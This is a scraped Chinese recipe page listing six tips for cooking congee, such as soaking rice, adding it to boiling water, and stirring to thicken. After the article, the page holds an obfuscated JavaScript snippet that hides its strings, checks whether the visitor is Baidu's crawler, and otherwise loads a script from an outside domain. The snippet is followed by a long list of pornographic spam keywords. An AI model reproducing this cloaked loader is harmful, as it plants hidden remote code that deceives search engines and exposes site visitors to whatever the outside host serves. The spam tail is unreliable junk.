當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

熬粥的六個秘笈:底料分開煮

2016-09-19 09:44:17  來源:360常識網   熱度:
導語:大家都知道煲湯是冷水下鍋,便理所應當地認為熬粥也是冷水下鍋。其實,真正的行家都是用開水煮粥,原因是什么呢?除了省時,開水下鍋的最大好處是煮粥不會糊底。

熬粥的六個秘笈:底料分開煮

熬粥的六個秘笈:底料分開煮

熬粥的六個秘笈

1、底、料分煮

大多數人煮粥時習慣將所有的東西一股腦全倒進鍋里。事實上,熬粥是大有講究的,粥底是粥底,料是料,分頭煮的煮、焯的焯,最后再擱一塊熬煮片刻。這樣熬出的粥品清爽不渾濁,每樣東西的味道都熬出來了,又不串味。特別是輔料為肉類或海鮮時,更應粥底和輔料分開煮。

2、浸泡

煮粥前先用冷水將米浸泡半小時,讓米粒膨脹開。這樣熬粥一是節省時間;二是口感更綿軟。

3、火候

熬粥、煲湯,火候都是關鍵。先用大火煮開,再轉小火熬煮約30分鐘。別小看火的大小轉換,粥的香味由此而出。

4、開水下鍋

大家都知道煲湯是冷水下鍋,便理所應當地認為熬粥也是冷水下鍋。其實,真正的行家都是用開水煮粥,原因是什么呢?除了省時,開水下鍋的最大好處是煮粥不會糊底。

5、點油

煮粥還要放油?是的,粥改小火后約10分鐘時點入少許油,你會發現不僅成品粥色澤鮮亮,而且入口特別綿滑。

6、攪拌

原來我們煮粥之所以攪拌,是為了怕粥糊底,現在沒了冷水煮粥糊底的擔憂,為什么還要攪拌呢?主要是為了“出稠”,也就是讓米粒顆顆飽滿、粒粒酥稠。攪拌的技巧是:開水下鍋時攪幾下,蓋上鍋蓋至小火熬20分鐘時,開始不停地攪動,一直持續約10分鐘,至粥呈粘稠狀為止。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品日韩欧美一区二区三区| 精品无码人妻一区二区三区品| 香蕉久久夜色精品国产小说| 国产精品久久久久久| 国产精品情侣呻吟对白视频| 久久国产综合精品五月天| 久久久一本精品99久久精品66| 亚洲国产精品无码久久| 亚洲精品无码专区久久同性男| 国精品无码一区二区三区左线| 国产91大片精品一区在线观看| 精品欧洲男同同志videos| 久久久久久国产精品美女| 56prom在线精品国产| 国产啪精品视频网站丝袜| 91精品一区国产高清在线| 久久99国产精品尤物| 四虎永久在线精品免费观看视频| 亚洲国产成人精品无码久久久久久综合| 国产精品久久久久AV福利动漫| 999久久久无码国产精品| 国产精品1024视频| 竹菊影视国产精品| 亚洲?V无码成人精品区日韩| 麻豆成人久久精品二区三区免费| 热久久99精品这里有精品| 国产麻豆精品一区二区三区v视界| 国产精品久久亚洲不卡动漫| 国产A√精品区二区三区四区| 999国产精品999久久久久久| 国产午夜亚洲精品不卡电影| 无码人妻精品一区二区三区在线| 国产精品青草久久| 久久久久久久99精品国产片| 国产精品美女网站在线看| 久久国产精品61947| 欧洲精品免费一区二区三区| 久久最新精品国产| 国产精品视频无圣光一区| 无码国产精品一区二区免费模式| 国产尤物在线视精品在亚洲|